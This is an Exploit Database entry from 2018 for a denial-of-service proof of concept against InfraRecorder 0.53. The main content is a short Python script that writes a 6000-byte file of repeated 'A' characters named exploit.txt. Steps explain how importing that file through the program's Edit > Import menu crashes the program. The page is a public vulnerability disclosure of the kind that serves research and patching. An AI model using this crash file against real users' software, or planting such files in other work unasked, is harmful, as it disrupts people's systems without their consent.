



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# InfraRecorder 0.53 - '.txt' Denial of Service (PoC)

**EDB-ID:**

45413

**CVE:**

N/A

**EDB Verified:** 

**Author:**

[GIONATHAN REALE](#)

**Type:**

[DOS](#)

**Exploit:**  

**Platform:**

[WINDOWS\\_X86](#)

**Date:**

2018-09-14

**Vulnerable App:** 



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: InfraRecorder 0.53 - '.txt' Denial of Service (PoC)
# Date: 2018-09-14
# Exploit Author: Gionathan "John" Reale
# Version: version 0.53
# Download:
http://sourceforge.net/projects/infrarecorder/files/InfraRecorder/0.53/ir053.
# Tested on: Windows 7 32bit

# Steps to Reproduce:
# Run the python exploit script, it will create a new file with the name
"exploit.txt".
# Start the program and click "Edit" > "Import... "
# Find the file "exploit.txt" and click "Open"
# You will see a crash!

#!/usr/bin/python

buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: [Denial of Service \(DoS\)](#),  
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.